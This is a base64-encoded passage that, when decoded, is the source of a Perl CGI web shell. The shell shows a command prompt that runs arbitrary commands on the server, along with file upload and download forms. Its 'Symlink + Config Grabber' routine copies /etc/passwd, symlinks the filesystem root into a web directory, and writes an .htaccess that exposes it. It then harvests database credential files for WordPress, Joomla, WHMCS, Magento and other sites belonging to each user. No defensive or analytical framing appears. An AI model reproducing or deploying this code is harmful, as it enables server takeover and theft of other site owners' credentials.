k1YUmJhYlFhU1pQR3FMSXp6bUZHcDFGeUNnZjRSK1VTanVBc1BLenQzdS9ObTNkbnJ4T3hzOU5Rc0drN3hpNjZxNFZxcHlSMVE4VVc0YWduSk5TdWRZaVhGWEcxSmxGV04vNTAxUmNlSUs0R1BjQTdHUGlmMmNNZ0FQeWhRUjhJc2g4WWhlWTJRaHRLVjNXODNvTXhHSTBzRXpCZVdhWmdzckRNd0hSdUtjRnNacG1EY213NUFQUGxuNW9LOVFiaUJrcXNBQUFCVXFaMVdnQUEpIGZvcm1hdCgnd29mZicpOw0KICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7DQogICAgZm9udC1zdHlsZTogbm9ybWFsOw0KDQp9DQoNCmJvZHkgew0KZm9udC1mYW1pbHk6ICJ1YnVudHVfbW9ub3JlZ3VsYXIiOw0KZm9udC1zaXplOjEycHg7DQpiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDsNCmJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsNCmJhY2tncm91bmQtY29sb3I6IzJkMmIyYjsNCmNvbG9yOmxpbWU7DQpiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCn0NCiNuYXZ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk7dG9wOjA7d2lkdGg6MTAwJTtsZWZ0OjcwJTsNCn0NCmEubmF2LWZva3VzIHtkaXNwbGF5OmJsb2NrOyB3aWR0aDphdXRvOyBoZWlnaHQ6YXV0bzsgYmFja2dyb3VuZDojMTkxOTE5OyBib3JkZXItdG9wOjBweDsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZmZmOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmZmY7ICBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmOyAgcGFkZGluZzo1cHggOHB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IGNvbG9yOnJlZDsgbGluZS1oZWlnaHQ6MjBweDsgb3ZlcmZsb3c6aGlkZGVuOyBmbG9hdDpsZWZ0Ow0KfQ0KYS5uYXYtZm9rdXM6aG92ZXIge2NvbG9yOiNGRkZGRkY7IGJhY2tncm91bmQ6IzE5MTkxOTsgYm9yZGVyLXRvcDowcHg7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2ZmZjsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmZmOyAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmZjsNCn0NCmlucHV0W3R5cGU9dGV4dF17DQoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IA0KCWNvbG9yOndoaXRlOw0KCW1hcmdpbjowIDEwcHg7DQoJZm9udC1mYW1pbHk6SG9tZW5hamU7DQoJZm9udC1zaXplOjEzcHg7DQoJYm9yZGVyOm5vbmU7DQp9DQppbnB1dFt0eXBlPXN1Ym1pdF0gew0KCWJhY2tncm91bmQ6IGJsYWNrOyANCgljb2xvcjp3aGl0ZTsNCgltYXJnaW46MCAxMHB4Ow0KCWZvbnQtZmFtaWx5OkhvbWVuYWplOw0KCWZvbnQtc2l6ZToxM3B4Ow0KCWJvcmRlcjpub25lOw0KDQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IjJkMmIyYiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxkaXYgaWQ9Im5hdiI+DQo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/Ij48Yj5Ib21lPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWhlbHAiPjxiPkhlbHA8L2I+PC9hPg0KPGEgY2xhc3M9Im5hdi1mb2t1cyIgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkIj48Yj5VcGxvYWQ8L2I+PC9hPg0KPGEgY2xhc3M9Im5hdi1mb2t1cyIgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQiPjxiPkRvd25sb2FkPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXN5bWNvbmZpZyI+PGI+U3ltbGluayArIENvbmZpZyBHcmFiYmVyPC9iPjwvYT48L2Rpdj4NCjxicj4NCjxmb250IGNvbG9yPSJsaW1lIiBzaXplPSIzIj4NCkVORA0KfQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCnN1YiBHZXRDb29raWVzDQp7DQpAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCnsNCigkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCiRDb29raWVzeyRpZH0gPSAkdmFsOw0KfQ0KfQ0KDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQogICAgcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYyI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwgIjsNCnByaW50IDw8RU5EOw0KPGNvZGU+PGNlbnRlcj48YnI+DQo8Zm9udCBjb2xvcj1saW1lPjxiPjxpPjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvaT48L2I+PC9mb250PjwvY2VudGVyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQokUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCnByaW50IDw8RU5EOw0KPGNvZGU+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZT48Yj48aT48Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+PC9pPjwvYj48L2ZvbnQ+DQo8L2NlbnRlcj4NCjwvY29kZT4NCkVORA0KfQ0KDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCmlmKCEkV2luTlQpDQp7DQphbGFybSgwKTsNCnByaW50IDw8RU5EOw0KPC94bXA+DQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQo8Y29kZT4NCkVORA0KJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KZXhpdDsNCn0NCn0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KICAgaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KICAgIHsNCiAgICAgICAgIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KICAgICAgICAjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCiAgICAgICANCiAgICAgICAgJE9sZERpciA9ICRDdXJyZW50RGlyOw0KICAgICAgICAkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQogICAgICAgIGNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCiAgICAgICAgJlByaW50UGFnZUhlYWRlcigiYyIpOw0KICAgICAgICAkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQogICAgICAgIHByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQogICAgfQ0KICAgIGVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KICAgIHsNCiAgICAgICAgJlByaW50UGFnZUhlYWRlcigiYyIpOw0KICAgICAgICAkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCiAgICAgICAgcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KICAgICAgICAkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQogICAgICAgIGlmKCEkV2luTlQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQogICAgICAgICAgICBhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQogICAgICAgIH0NCiAgICAgICAgaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KICAgICAgICB7DQogICAgICAgICAgICAkfD0xOw0KICAgICAgICAgICAgJENvbW1hbmQgLj0gIiB8IjsNCiAgICAgICAgICAgIG9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KICAgICAgICAgICAgd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfID1+IHMvKFxufFxyXG4pJC8vOw0KICAgICAgICAgICAgICAgIHByaW50ICIkX1xuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR8PTA7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQogICAgICAgIHsNCiAgICAgICAgICAgIHByaW50IGAkQ29tbWFuZGA7DQogICAgICAgIH0NCiAgICAgICAgaWYoISRXaW5OVCkNCiAgICAgICAgew0KICAgICAgICAgICAgYWxhcm0oMCk7DQogICAgICAgIH0NCiAgICAgICAgcHJpbnQgIjwveG1wPiI7DQogICAgfQ0KICAgICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KICAgICZQcmludFBhZ2VGb290ZXI7DQp9DQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQpsb2NhbCgkRmlsZVVybCkgPSBAXzsNCmlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0Kew0KIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCiZQcmludFBhZ2VIZWFkZXIoImMiKTsNCnByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCiZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCn0NCmVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCnByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7DQomUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCn0NCn0NCnN1YiBTeW1Db25maWcNCnsNCiMhL3Vzci9iaW4vcGVybCAtSS91c3IvbG9jYWwvYmFuZG1pbg0KdXNlIEZpbGU6OkNvcHk7IHVzZSBzdHJpY3Q7IHVzZSB3YXJuaW5nczsgdXNlIE1JTUU6OkJhc2U2NDsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCmlmICghLWUgJGZpbGVuYW1lKSB7IGNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCn0NCm1rZGlyICJzeW1saW5rX2NvbmZpZyI7DQpzeW1saW5rKCIvIiwic3ltbGlua19jb25maWcvcm9vdCIpOw0KbXkgJGh0YWNjZXNzID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCamIyNDNaWGgwTG1oMGJRMEtRV1JrVkhsd1pTQjBaWGgwTDNCc1lXbHVJQzV3YUhBZ0RRcEJaR1JJWVc1a2JHVnlJSFJsZUhRdmNHeGhhVzRnTG5Cb2NBMEtVMkYwYVhObWVTQkJibmtOQ2tsdVpHVjRUM0IwYVc5dWN5QXJRMmhoY25ObGREMVZWRVl0T0NBclJtRnVZM2xKYm1SbGVHbHVaeUFyU1dkdWIzSmxRMkZ6WlNBclJtOXNaR1Z5YzBacGNuTjBJQ3RZU0ZSTlRDQXJTRlJOVEZSaFlteGxJQ3RUZFhCd2NtVnpjMUoxYkdWeklDdFRkWEJ3Y21WemMwUmxjMk55YVhCMGFXOXVJQ3RPWVcxbFYybGtkR2c5S2lBTkNrbHVaR1Y0U1dkdWIzSmxJQ291ZEhoME5EQTBEUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLbk41Yld4cGJtdGZZMjl1Wm1sbklGdE9RMTBOQ2xKbGQzSnBkR1ZTZFd4bElGd3VkSGgwSkNBbGUxSkZVVlZGVTFSZlZWSkpmVFF3TkNCYlRDeFNQVE13TWk1T1ExMD0iKTsNCm15ICR4c3ltNDA0ID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCamIyNDNaWGgwTG1oMGJRMEtTR1ZoWkdWeVRtRnRaU0J3Y0hFdWRIaDBEUXBUWVhScGMyWjVJRUZ1ZVEwS1NXNWtaWGhQY0hScGIyNXpJRWxuYm05eVpVTmhjMlVnUm1GdVkzbEpibVJsZUdsdVp5QkdiMnhrWlhKelJtbHljM1FnVG1GdFpWZHBaSFJvUFNvZ1JHVnpZM0pwY0hScGIyNVhhV1IwYUQwcUlGTjFjSEJ5WlhOelNGUk5URkJ5WldGdFlteGxEUXBKYm1SbGVFbG5ibTl5WlNBcSIpOw0Kb3BlbihteSAkZmgxLCAnPicsICdzeW1saW5rX2NvbmZpZy8uaHRhY2Nlc3MnKTsgcHJpbnQgJGZoMSAiJGh0YWNjZXNzIjsgY2xvc2UgJGZoMTsgb3BlbihteSAkeHgsICc+JywgJ3N5bWxpbmtfY29uZmlnL25lbXUudHh0Jyk7IHByaW50ICR4eCAiJHhzeW00MDQiOyBjbG9zZSAkeHg7IG9wZW4obXkgJGZoLCAnPDplbmNvZGluZyhVVEYtOCknLCAkZmlsZW5hbWUpOyB3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7IG15IEBtYXRjaGVzID0gJHJvdyA9fiAvKC4qPyk6eDovZzsgbXkgJHVzZXJueWEgPSAkMTsgbXkgQGFycmF5ID0gKCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvLmFjY2Vzc2hhc2gnLCB0eXBlID0+ICdXSE0tYWNjZXNzaGFzaCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsIHR5cGUgPT4gJ0xva29tZWRpYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywgdHlwZSA9PiAnQmFsaXRiYW5nJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCB0eXBlID0+ICdQcmVzdGFTaG9wJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsIHR5cGUgPT4gJ09wZW5DYXJ0JyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCcsIHR5cGUgPT4gJ0VsbGlzbGFiJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwL3Rlc3Qvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YxL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdeV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iZXRhL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3Rlc3QvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3MxL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRt